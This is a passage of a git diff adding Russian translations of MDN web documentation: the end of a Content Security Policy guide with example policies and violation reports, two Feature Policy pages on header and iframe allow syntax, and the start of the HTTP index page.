+<pre class="syntaxbox notranslate">Content-Security-Policy: <em>policy</em></pre>
+
+<p>Где policy - это строка, содержащая директивы, описывающие вашу Content Security Policy.</p>
+
+<h3 id="Создание_политики">Создание политики</h3>
+
+<p>Политика описывается с помощью специальных директив, каждая из которых отвечает за отдельный вид ресурсов или policy area. Политика обязательно должна содержать директиву {{CSP("default-src")}}, которая будет использоваться для тех ресурсов, для которых не будет описано отдельных правил (полный список вы можете найти в описании директивы {{CSP("default-src")}}). Для того чтобы предотвратить исполнение встраиваемых скриптов и заблокировать использование <code>eval()</code>, необходимо определить директиву {{CSP("default-src")}} или {{CSP("script-src")}}. Также использование директивы {{CSP("default-src")}} или {{CSP("style-src")}} позволит ограничить использование встраиваемых стилей как в <code>style</code>-атрибутах, так и в тэгах {{HTMLElement("style")}}.</p>
+
+<h2 id="Примеры_Распространённые_случаи_применения">Примеры: Распространённые случаи применения</h2>
+
+<p>В данном разделе приводятся наиболее распространенные сценарии использования CSP.</p>
+
+<h3 id="Пример_1">Пример 1</h3>
+
+<p>Вы хотите ограничить источники контента только исходным сервером (исключая поддомены)</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'</pre>
+
+<h3 id="Пример_2">Пример 2</h3>
+
+<p>Вы хотите разрешить получение контента с доверенного домена и всех его поддоменов (доверенный домен не обязательно должен совпадать с тем, на котором настраиваются CSP.)</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self' *.trusted.com</pre>
+
+<h3 id="Пример_3">Пример 3</h3>
+
+<p>Вы хотите разрешить пользователям приложения вставлять в создаваемый ими контент картинки из любого источника, но при этом ограничить источники аудио- и видео-файлов списком доверенных провайдеров. Получение скриптов должно происходить только с конкретного сервера, содержащего доверенный код.</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com</pre>
+
+<p>При такой настройке, весь контент доступен для получения только с исходного домена, со следующими исключениями:</p>
+
+<ul>
+ <li>Изображения могут быть получены из любого источника (источник - "*").</li>
+ <li>Другие медиа-файлы доступны только с media1.com и media2.com (но не с их поддоменов).</li>
+ <li>Имсполняемый код доступен только с userscripts.example.com.</li>
+</ul>
+
+<h3 id="Пример_4">Пример 4</h3>
+
+<p>Вы хотите удостовериться, что весь получаемый контент для онлайн-банкинга идет по SSL и атакующий не сможет прослушивать запросы:</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src https://onlinebanking.jumbobank.com</pre>
+
+<p>При данной настройке сервер будет позволять загрузку страниц только по HTTPS и только из одного источника - onlinebanking.jumbobank.com.</p>
+
+<h3 id="Пример_5">Пример 5</h3>
+
+<p>Для просмотра писем в почтовом клиенте вы хотите разрешить использование HTML внутри письма, а также позволить загрузку изображений из любых источников, но запретить использование любого JavaScript-кода и прочий потенциально опасный контент.</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *</pre>
+
+<p>Заметьте, что в настройке политики отсутствует директива {{CSP("script-src")}}; при такой настройке CSP при загрузке скриптов будут использоваться настройки, определяемые директивой {{CSP("default-src")}}, следовательно все скрипты могут быть загружены только с исходного домена.</p>
+
+<h2 id="Тестирование_настройки_политики">Тестирование настройки политики</h2>
+
+<p>Для облегчения развертывания можно настроить развертывание CSP в режиме report-only. Таким образом, политика не будет ограничивать загрузку, но будет сообщать обо всех нарушениях на указанный в заголовке URI. Кроме того, заголовок report-only может использоваться для тестирования новой политики без полноценного развертывания.</p>
+
+<p>Для определения вашей политики вы можете использовать заголовок {{HTTPHeader("Content-Security-Policy-Report-Only")}} следующим образом:</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy-Report-Only: <em>policy</em> </pre>
+
+<p>В случае, если оба заголовка ({{HTTPHeader("Content-Security-Policy-Report-Only")}} и {{HTTPHeader("Content-Security-Policy")}}) были определены одновременно в одном ответе сервера, обе политики будут обработаны. Политики, описанные в заголовке <code>Content-Security-Policy</code> будут применены, в то время как политики, описанные в заголовке <code>Content-Security-Policy-Report-Only</code>, создадут отчеты, но применены не будут.</p>
+
+<h2 id="Настройка_отправки_отчетов">Настройка отправки отчетов</h2>
+
+<p>По умолчанию, отправка отчетов не производится.  Для того чтобы включить отправку отчетов, необходимо в вашей политике определить директиву {{CSP("report-uri")}} и указать как минимум один URI, куда будут направляться отчеты:</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre>
+
+<p>Кроме того, необходимо настроить свой сервер на получение этих отчетов; вы можете хранить и обрабатывать эти отчеты как считаете нужным.</p>
+
+<h2 id="Синтаксис_отчета_о_происшествиях">Синтаксис отчета о происшествиях</h2>
+
+<p>Объект отчета в формате JSON содержит следующие поля:</p>
+
+<dl>
+ <dt><code>blocked-uri</code></dt>
+ <dd>URI ресурса, заблокированного в соответствии с настройками политики. Если заблокированный адрес отличается от адреса страницы, то он будет сокращен до схемы, хоста и порта.</dd>
+</dl>
+
+<dl>
+ <dt><code>disposition</code></dt>
+ <dd>Принимает значения <code>"enforce"</code> или <code>"reporting"</code> в зависимости от того, какой заголовок используется {{HTTPHeader("Content-Security-Policy-Report-Only")}} или <code>Content-Security-Policy</code>.</dd>
+ <dt><code>document-uri</code></dt>
+ <dd>URI страницы, на которой произошло нарушение.</dd>
+ <dt><code>effective-directive</code></dt>
+ <dd>Директива, исполнение которой привело к нарушению.</dd>
+ <dt><code>original-policy</code></dt>
+ <dd>Исходная политика, описываемая в заголовке <code>Content-Security-Policy</code>.</dd>
+ <dt><code>referrer</code></dt>
+ <dd>Реферер, который привел к нарушению.</dd>
+ <dt><code>script-sample</code></dt>
+ <dd>Первые 40 символов встроенного скрипта или стиля, спровоцировавшего нарушение.</dd>
+ <dt><code>status-code</code></dt>
+ <dd>The HTTP status code of the resource on which the global object was instantiated.</dd>
+ <dt><code>violated-directive</code></dt>
+ <dd>Директива, которая была нарушена.</dd>
+</dl>
+
+<h2 id="Пример_отчета_о_происшествии">Пример отчета о происшествии</h2>
+
+<div>Возьмём страницу, расположенную по адресу <code><a class="external" href="http://example.com/signup.html" rel="freelink">http://example.com/signup.html</a></code>. Для неё используется следующая политика, запрещающая загрузку всего кроме CSS-файлов с <code>cdn.example.com</code>.</div>
+
+<div>
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre>
+</div>
+
+<div>HTML-код страницы <code>signup.html</code> выглядит следующим образом:</div>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;title&gt;Sign Up&lt;/title&gt;
+ &lt;link rel="stylesheet" href="css/style.css"&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ ... Content ...
+ &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<div>Можете заметить ошибку? CSS разрешено загружать только с <code>cdn.example.com</code>, в то время как веб-сайт пытается загрузить его используя основной домен (<code>http://example.com</code>). Браузер поддерживающий CSP отправит отчёт о нарушении политики в POST-запросе к <code><a href="http://example.com/_/csp-reports" rel="freelink">http://example.com/_/csp-reports</a></code> в момент обращения к странице (<code>signup.html</code>):</div>
+
+<pre class="notranslate">{
+ "csp-report": {
+ "document-uri": "http://example.com/signup.html",
+ "referrer": "",
+ "blocked-uri": "http://example.com/css/style.css",
+ "violated-directive": "style-src cdn.example.com",
+ "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
+ }
+}</pre>
+
+<p>Как видите, отчёт включает полный путь к ресурсу нарушающему политику в <code>blocked-uri</code>. Правда, это не всегда так. К примеру, когда <code>signup.html</code> попытается загрузить CSS с <a href="http://anothercdn.example.com/stylesheet.css"><code>http://anothercdn.example.com/stylesheet.css</code></a>, браузер <em>не </em>будет включать полный путь, а ограничится лишь доменом (<code>http://anothercdn.example.com</code>). Спецификация CSP <a href="http://www.w3.org/TR/CSP/#security-violation-reports">поясняет</a> это странное поведение. В целом, это делается для предотвращения утечек чувствительной информации о перекрестных ресурсах</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp")}}</p>
+
+<p>Для некоторых версий Safari существует специфическая невсовместимость реализации CSP. Если установить заголовок Content Security Policy без заголовка Same Origin, то браузер начнет блокировать и создавать ложно-положительные отчеты о нарушении политики для всего контента, как с запрашеваемого источника, так и из внешних источников.</p>
+
+<p>Смотрите также:</p>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li>
+ <li>
+ <p><a href="/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies">Display security and privacy policies In Firefox Developer Tools</a></p>
+ </li>
+</ul>
diff --git a/files/ru/web/http/feature_policy/index.html b/files/ru/web/http/feature_policy/index.html
new file mode 100644
index 0000000000..c97e13a4e5
--- /dev/null
+++ b/files/ru/web/http/feature_policy/index.html
@@ -0,0 +1,149 @@
+---
+title: Feature Policy
+slug: Web/HTTP/Feature_Policy
+translation_of: Web/HTTP/Feature_Policy
+---
+<div>{{SeeCompatTable}}{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="seoSummary">Feature Policy позволяет веб-разработчику выборочно включать, отключать и изменять поведение определенных функций и API в браузере. Это похоже на {{Glossary("CSP", "Content Security Policy")}}, но контролирует функции вместо политик безопасности.</span></p>
+
+<h2 id="Краткое_описание">Краткое описание</h2>
+
+<p>Заголовок Feature Policy предоставляет механизм для ясного указания функций, используемых или не используемых вашим ваб-сайтом. Это позволяет закрепить лучшие практики, даже если кодовая база развивается с течением времени, а также более безопасно включать сторонний контент, ограничивая доступные функции.</p>
+
+<p>С помощью заголовка Feature Policy вы можете включить набор "политик" для браузера, чтобы использовать определенные функции, необходимые веб-сайту. Эти политики определяют какие API сайта могут получать доступ или изменять поведение по умолчанию для определенных функций.</p>
+
+<p>Примеры того, что можно сделать с заголовком Feature Policy:</p>
+
+<ul>
+ <li>Изменить поведение автозапуска видео на мобильных устройствах.</li>
+ <li>Ограничить доступ сайта к камере и микрофону.</li>
+ <li>Разрешить использование API полноэкранного режима в iframe.</li>
+ <li>Блокировать использование устаревших API, например <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">synchronous XHR</a> and {{domxref("document.write()")}}.</li>
+ <li>Проверять соответствие размера изображений размерам области просмотра.</li>
+</ul>
+
+<h2 id="Concepts_and_usage">Concepts and usage</h2>
+
+<p>Feature Policy allows you to control which origins can use which features, both in the top-level page and in embedded frames. Essentially, you write a policy, which is an allowed list of origins for each feature. For every feature controlled by Feature Policy, the feature is only enabled in the current document or frame if its origin matches the allowed list of origins.</p>
+
+<p>For each policy-controlled feature, the browser maintains a list of origins for which the feature is enabled, known as an allowlist. If you do not specify a policy for a feature, then a default allowlist will be used. The default allowlist is specific to each feature.</p>
+
+<h3 id="Writing_a_policy">Writing a policy</h3>
+
+<p>A policy is described using a set of individual policy directives. A policy directive is a combination of a defined feature name, and an allowlist of origins that can use the feature.</p>
+
+<h3 id="Specifying_your_policy">Specifying your policy</h3>
+
+<p>Feature Policy provides two ways to specify policies to control features:</p>
+
+<ul>
+ <li>The {{httpheader('Feature-Policy')}} HTTP header.</li>
+ <li>The {{HTMLElement('iframe','<code>allow</code>','#Attributes')}} attribute on iframes.</li>
+</ul>
+
+<p>The primary difference between the HTTP header and the <code>allow</code> attribute is that the allow attribute only controls features within an iframe. The header controls features in the response and any embedded content within the page.</p>
+
+<p>For more details see <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a>.</p>
+
+<h2 id="Types_of_policy-controlled_features">Types of policy-controlled features</h2>
+
+<p>Though Feature Policy provides control of multiple features using a consistent syntax, the behavior of policy controlled features varies and depends on several factors.</p>
+
+<p>The general principle is that there should be an intuitive or non-breaking way for web developers to detect or handle the case when the feature is disabled. Newly introduced features may have an explicit API to signal the state. Existing features that later integrate with Feature Policy will typically use existing mechanisms. Some approaches include:</p>
+
+<ul>
+ <li>Return "permission denied" for JavaScript APIs that require user permission grants.</li>
+ <li>Return <code>false</code> or error from an existing JavaScript API that provides access to feature.</li>
+ <li>Change the default values or options that control the feature behavior.</li>
+</ul>
+
+<p>The current set of policy-controlled features fall into two broad categories:</p>
+
+<ul>
+ <li>Enforcing best practices for good user experiences.</li>
+ <li>Providing granular control over sensitive or powerful features.</li>
+</ul>
+
+<h3 id="Best_practices_for_good_user_experiences">Best practices for good user experiences</h3>
+
+<p>There are several policy-controlled features to help enforce best practices for providing good performance and user experiences.</p>
+
+<p>In most cases, the policy-controlled features represent functionality that when used will negatively impact the user experience. To avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. Best practices are then enforced by using policies that disable the policy-controlled features. For more details see "Enforcing best practices for good user experiences".</p>
+
+<p>The features include:</p>
+
+<ul>
+ <li>Layout-inducing animations</li>
+ <li>Legacy image formats</li>
+ <li>Oversized images</li>
+ <li>Synchronous scripts</li>
+ <li>Synchronous XMLHTTPRequest</li>
+ <li>Unoptimized images</li>
+ <li>Unsized media</li>
+</ul>
+
+<h3 id="Granular_control_over_certain_features">Granular control over certain features</h3>
+
+<p>The web provides functionality and APIs that may have privacy or security risks if abused. In some cases, you may wish to strictly limit how such functionality is used on a website. There are policy-controlled features to allow functionality to be enabled/disabled for specific origins or frames within a website. Where available, the feature integrates with the Permissions API, or feature-specific mechanisms to check if the feature is available.</p>
+
+<p>The features include:</p>
+
+<ul>
+ <li>Accelerometer</li>
+ <li>Ambient light sensor</li>
+ <li>Autoplay</li>
+ <li>Camera</li>
+ <li>Encrypted media</li>
+ <li>Fullscreen</li>
+ <li>Geolocation</li>
+ <li>Gyroscope</li>
+ <li>Lazyload</li>
+ <li>Microphone</li>
+ <li>Midi</li>
+ <li>PaymentRequest</li>
+ <li>Picture-in-picture</li>
+ <li>Speaker</li>
+ <li>USB</li>
+ <li>VR / XR</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<ul>
+ <li>See <a href="http://feature-policy-demos.appspot.com/">Feature Policy Demos</a> for example usage of many policies.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Feature Policy','#feature-policy-http-header-field','Feature-Policy')}}</td>
+ <td>{{Spec2('Feature Policy')}}</td>
+ <td>Initial definition. Defines the {{httpheader('Feature-Policy')}} header. Directives are defined in the specs for the features they control. See individual directive pages for details.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("http.headers.Feature-Policy")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a></li>
+ <li>{{HTTPHeader("Feature-Policy")}} HTTP header</li>
+ <li>{{HTMLElement('iframe','<code>allow</code>','#Attributes')}} attribute on iframes</li>
+ <li><a href="https://developers.google.com/web/updates/2018/06/feature-policy">Introduction to Feature Policy</a></li>
+ <li><a href="https://www.chromestatus.com/features#component%3A%20Blink%3EFeaturePolicy">Feature policies on www.chromestatus.com</a></li>
+ <li><a href="https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop">Feature-Policy Tester (Chrome Developer Tools extension)</a></li>
+</ul>
diff --git a/files/ru/web/http/feature_policy/using_feature_policy/index.html b/files/ru/web/http/feature_policy/using_feature_policy/index.html
new file mode 100644
index 0000000000..bdf46e1be5
--- /dev/null
+++ b/files/ru/web/http/feature_policy/using_feature_policy/index.html
@@ -0,0 +1,145 @@
+---
+title: Using Feature Policy
+slug: Web/HTTP/Feature_Policy/Using_Feature_Policy
+translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy
+---
+<div></div>
+
+<div>{{HTTPSidebar}}</div>
+
+<div></div>
+
+<p><a href="/en-US/docs/Web/HTTP/Feature_Policy">Функциональная политика</a> позволяет разработчику контролировать доступ страницам сайта к определенной веб функциональности браузера, как страницам высокого уровня, так и встроенным в страницу фреймам. По сути, разработчик определяет политику, которая позволяет использовать определенную функциональность списку разрешенных источников. Каждая функция, контролируемая функциональной политикой, активируется  в определенном документе или фрейме, если его источник происхождения входит в разрешенный список источников.</p>
+
+<p>Для каждой функции, контролируемой функциональной политикой, браузер отслеживает список источников происхождения, для документов которого, эта функция разрешена. Если разработчик не определил политику для функциональности, тогда будет использован список разрешенных источников по умолчанию. Этот список специфичен для каждой функциональности. </p>
+
+<h2 id="Описание_полититки">Описание полититки</h2>
+
+<p>Политика определяется, используя набор индивидуальных установочных директив. Установочная директива - это комбинация имен определяемых функциональностей, со списком источников происхождения, которым разрешается достук к указанной функциональности. Имена функциональностей в политике разделяются точкой с запятой.</p>
+
+<h3 id="список_доступа">список доступа</h3>
+
+<p>Список доступа - это список источников происхождения, которые принимают одно или несколько следующих значений, разделяемых пробелом:</p>
+
+<ul>
+ <li><code>*</code>: Функциональность разрешается в документе и всем вложенным в документ браузерным контекстам (элементам <code>iframes</code>) вне зависимости от источника их происхождения.</li>
+ <li><code>'self'</code>: Функциональность разрешается в документе и всем вложенным в него браузерным контекстам (элементам <code>iframes</code>) общего с этим документом источником происхождения.</li>
+ <li><code>'src'</code>: (только для элемента<code> iframe</code>  с атрибутом <code>allow</code>) Функциональность доступна в этом фрейме, при условии, что загруженный в него документ происходит из того же источника, что и URL в атрибуте {{HTMLElement('iframe','src','#Attributes')}} элемента <code>iframe</code>.</li>
+ <li><code>'none'</code>: Функциональность отключена как для высокоуровневых документов, так и для вложенных в него контекстов (<code>iframes</code>).</li>
+ <li>&lt;origin(s)&gt;: Функциональность доступна для специфичных источников происхождения, указываемых разработчиком (к примеру, https://example.com), раздедяемые между собой пробелом.</li>
+</ul>
+
+<p>Значение <code>*</code> (доступность функциональности для всех источников) или <code>'none'</code> (не доступность функциональности для всех источников), можут использоваться только однократно, в то время как, значения <code>'self'</code> и <code>'src'</code> могут быть использованы с одним или несколькими источниками происхождения.</p>
+
+<p>Каждая функциональность определяется со своим списком разрешений по умолчанию, который содержит одно из значений:</p>
+
+<ul>
+ <li><code>*</code>: Функциональность доступна по умолчанию для высокоуровневых документов и всех вложенных элементах <code> iframes</code>.</li>
+ <li><code>'self'</code>: Функциональность доступна по умолчанию в документах высокого уровня и во вложенных элементах <code>iframes</code> , одного с документом источником происхождения. Функциональность не доступна в кросс-доменных документах элементов <code>iframes.</code></li>
+ <li><code>'none'</code>: Функциональность по умолчанию отключена во всех браузерных контекстах.</li>
+</ul>
+
+<h2 id="Определение_политики">Определение политики</h2>
+
+<p>Функциональная политика предлагает два способа определения политик:</p>
+
+<ul>
+ <li>Заголовок {{httpheader('Feature-Policy')}} HTTP.</li>
+ <li>Атрибут {{htmlattrxref("allow", "iframe")}} на элементе {{htmlelement("iframe")}}.</li>
+</ul>
+
+<p>Основное отличие между заголовком  HTTP и атрибутом <code>allow</code>  в том, что атрибут определяет доступность функциональности для документов, загруженных в <code>iframe</code>. Заголовок же определяет доступность функциональности в документе и вложенных в него контекстах, направляющимся в ответе на HTTP(S) запрос.</p>
+
+<h3 id="Заголовок_HTTP">Заголовок HTTP</h3>
+
+<p>Отправить заголовок функциональной политики можно в ответе на запрос документа (страницы). Значение заголовка переопределяет политику браузера по умолчанию для данной страницы. Он имеет следующую структуру.</p>
+
+<pre class="brush: bash">Feature-Policy: &lt;имя функциональности&gt; &lt;список разрешенных источников&gt;</pre>
+
+<p>К примеру, для блокировки функциональности API геолокации по всему сайту:</p>
+
+<pre class="brush: bash">Feature-Policy: geolocation 'none'</pre>
+
+<p>Несколько функциональностей можно контролировать одновременно, отправив один HTTP заголовок, разделяющий точкой с запятой между собой список установочных директив, или отпраить отдельный заголовок для каждой установочной директивы.</p>
+
+<p>К примеру, ниже директивы идентичны:</p>
+
+<pre class="brush: bash">Feature-Policy: unsized-media 'none'; geolocation 'self' https://example.com; camera *;
+
+Feature-Policy: unsized-media 'none'
+Feature-Policy: geolocation 'self' https://example.com
+Feature-Policy: camera *;
+</pre>
+
+<h3 id="атрибут_allow">атрибут  allow </h3>
+
+<p>Второй способ использования функциональной политики - контроль использования функциональности в документе, загруженного в элемент  <code>iframe</code>. </p>
+
+<p>К примеру, для разрешения использования функциональности <code>fullscreen</code> для документа, загруженного в  <code>iframe</code> используем :</p>
+
+<pre class="brush: html">&lt;iframe src="https://example.com..." allow="fullscreen"&gt;&lt;/iframe&gt;</pre>
+
+<p>Эквивалентная запись:</p>
+
+<pre class="brush: html">&lt;iframe src="https://example.com..." allow="fullscreen 'src'"&gt;&lt;/iframe&gt;</pre>
+
+<p>Ниже, получаем доступ к геолокации пользователя документа, загруженного из указанного источника в <code>&lt;iframe&gt;</code> :</p>
+
+<pre class="brush: html">&lt;iframe src="https://google-developers.appspot.com/demos/..."
+ allow="geolocation https://google-developers.appspot.com"&gt;&lt;/iframe&gt;
+</pre>
+
+<p>Аналогично  HTTP заголовку, несколько функциональностей могут контролироваться одновременно, определяя, разделяемый точкой с запятой список установочных директив.</p>
+
+<p>К примеру, блокируем  <code>&lt;iframe&gt;</code> для использования камеры и микрофона:</p>
+
+<pre class="brush: html">&lt;iframe allow="camera 'none'; microphone 'none'"&gt;
+</pre>
+
+<h2 id="Наследование_политики_для_встроенного_контента">Наследование политики для встроенного контента</h2>
+
+<p>Контексты скриптов (.js) наследуют политику их браузерных контекстов, вне зависимости от их источника происхождения. Это значит, что скрипты документа высокого уровня наследуют политику основного документа..</p>
+
+<p>Все фреймы наследуют политику своих родительских документов. Если фрейм имеет атрибут <code>allow</code> , политики родительского документа и атрибута комбинируются, используя наиболее ограничительную политику. Для включения функциональности для фрейма, его источник происхождения должен входить в списки доступа и родительского документа, и атрибута  <code>allow</code>.</p>
+
+<p>Отключение функциональности в политике является односторонним. Если функциональность не доступна (отключена) для дочернего фрейма его родителем, дочерний фрейм не может это отменить, и ни его потомки.</p>
+
+<h2 id="Применение_новейших_решений_для_наилутшего_пользовательского_впечатления">Применение новейших решений для наилутшего пользовательского впечатления</h2>
+
+<p>Трудно создать веб сайт, который использует новейшие решения и предлагает отличную производительность. Со временем, эволюционируя, сайту может даже труднее обеспечивать наилутшие пользовательские впечатления. Используйте функциональные политики для определения новейших решений, и полагайтесь на современные браузеры в предотвращении негативных изменений.</p>
+
+<p>Существуют несколько функциональных политик, спроектированных для предоставления функциональности, но которые могут негативно влиять на впечатления пользователя. Ими являются:</p>
+
+<ul>
+ <li>Анимации, создающие разметку</li>
+ <li>Неоптимизированные (слабо сжатые) изображения</li>
+ <li>Переразмеренные изображения</li>
+ <li>Синхронные скрипты</li>
+ <li>Синхронный XMLHttpRequest</li>
+ <li>Безразмерные медиа</li>
+</ul>
+
+<p>Для исключения поломки веб контента, значения по умолчанию для таких функциональных политик, позволяют функциональности быть использованной для всех источников происхождения. То есть, списком разрешений по умолчанию является <code>'*'</code> для каждой функциональности. Предотвращение использования неоптимальной функциональности, требует явного определения политики, которая отключает функциональности.</p>
+
+<p>Для нового контента можно начать разработку с политикой, которая отключает все функциональности. Такой подход гаранитрует, что ни одна из функциональностей не включена. При применении политики для существующего контента, тестирование работы наиболее желательный вариант для ожидаемой проверки работоспособности. Это особенно важно для встроенных или сторонних контентов, которых разработчик не может контролировать.</p>
+
+<p>Для включения правоприменения всех новейших решений, определяется политика ниже.</p>
+
+<p>Отправляйте следующий HTTP заголовок:</p>
+
+<pre class="brush: bash">Feature-Policy: layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';</pre>
+
+<p>Используя атрибут <code>allow</code> элемента <code>&lt;iframe&gt;</code>:</p>
+
+<pre class="brush: html">&lt;iframe src="https://example.com..." allow="layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';"&gt;&lt;/iframe&gt;</pre>
+
+<h2 id="Смотри_так_же">Смотри так же:</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Feature_Policy">Функциональная политика</a></li>
+ <li>Заголовок {{HTTPHeader("Feature-Policy")}}</li>
+ <li>Атрибут {{HTMLElement('iframe','allow','#Attributes')}} элемента <code>iframe</code></li>
+ <li>Заголовок {{HTTPHeader("Content-Security-Policy")}} </li>
+ <li>Заголовок {{HTTPHeader("Referrer-Policy")}}</li>
+ <li><a href="/en-US/docs/Web/Privacy">Конфеденциальность, разрешения и информационная безопасность</a></li>
+</ul>
diff --git a/files/ru/web/http/index.html b/files/ru/web/http/index.html
new file mode 100644
index 0000000000..2cbcb5bc68
--- /dev/null
+++ b/files/ru/web/http/index.html
@@ -0,0 +1,105 @@
+---
+title: HTTP
+slug: Web/HTTP
+tags:
+ - HTTP
+ - 'l10n:priority'
+ - Веб
+ - Справка
+translation_of: Web/HTTP
+---
+<p>{{HTTPSidebar}}</p>
+
+<p class="summary"><strong>Протокол передачи гипертекста (<dfn>Hypertext Transfer Protocol - HTTP)</dfn></strong> - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D1%8B_%D0%BF%D1%80%D0%B8%D0%BA%D0%BB%D0%B0%D0%B4%D0%BD%D0%BE%D0%B3%D0%BE_%D1%83%D1%80%D0%BE%D0%B2%D0%BD%D1%8F">прикладной протокол</a> для передачи гипертекстовых документов, таких как HTML. Он создан для связи между веб-браузерами и веб-серверами, хотя в принципе HTTP может использоваться и для других целей. Протокол следует классической <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B8%D0%B5%D0%BD%D1%82-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80">клиент-серверной модели</a>, когда клиент открывает соединение для создания запроса, а затем ждет ответа. HTTP - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB_%D0%B1%D0%B5%D0%B7_%D1%81%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D1%8F">протокол без сохранения состояния</a>, то есть сервер не сохраняет никаких данных (состояние) между двумя парами "запрос-ответ". Несмотря на то, что HTTP основан на TCP/IP, он также может использовать любой другой протокол <a href="https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D0%BD%D1%81%D0%BF%D0%BE%D1%80%D1%82%D0%BD%D1%8B%D0%B9_%D1%83%D1%80%D0%BE%D0%B2%D0%B5%D0%BD%D1%8C">транспортного уровня</a> с гарантированной доставкой.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 class="Documentation" id="Documentation" name="Documentation">Учебники</h2>
+
+<p>Узнайте, как использовать HTTP, благодаря учебникам и руководствам.</p>
+
+<dl>
+ <dt><a href="/ru/docs/Web/HTTP/Overview">Обзор HTTP</a></dt>
+ <dd>Основные свойства клиент-серверного протокола: что можно сделать и для чего он предназначен.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Caching">HTTP-кэширование (HTTP Cache)</a></dt>
+ <dd>Кэширование - это важнейший инструмент для повышения производительности веб-сайтов. Эта статья описывает разные виды кэша, а также использование HTTP-заголовков для конфигурации и управления кэшированием.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Cookies">HTTP-куки (HTTP cookies)</a></dt>
+ <dd>Как работают куки, можно почитать в <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a>. При обслуживании HTTP-запроса сервер может отправить в ответе HTTP-заголовок <code>Set-Cookie</code>. После этого значение куки посылается клиентом с каждым запросом к этому серверу. Делается это в форме заголовка запроса <code>Cookie</code>. Дополнительно можно указать истечение срока куки, а так же ограничения для специфического домена или пути.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/HTTP/Access_control_CORS">Контроль доступа (совместное использование ресурсов между разными источниками, HTTP access control (CORS))</a></dt>
+ <dd><strong>Межсайтовые HTTP-запросы</strong> (кросс-сайтовые) - это HTTP-запросы к ресурсам, находящимся в домене, <strong>отличающемся </strong>от того, с которого производится запрос. Например, HTML-страница, загружаемая с домена А (<code>http://domaina.example</code>), запрашивает изображение с домена Б (<code>http://domainb.foo</code>), используя тег <code>img</code> (<code>http://domainb.foo/image.jpg</code>). Это происходит постоянно в мире веба: страницы загружают различные ресурсы в кросс-сайтовой манере, включая стили (CSS), изображения, скрипты и другие ресурсы. CORS позволяет разработчикам сайтов контролировать межсайтовые запросы.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Эволюция HTTP</a></dt>
+ <dd>Краткое описание изменений, произошедших в HTTP, начиная с самых ранних версий, заканчивая новой HTTP/2 и далее.</dd>
+ <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Принципы веб-безопасности Mozilla</a></dt>
+ <dd>Сборник советов для помощи в разработке защищённых веб-приложений.</dd>
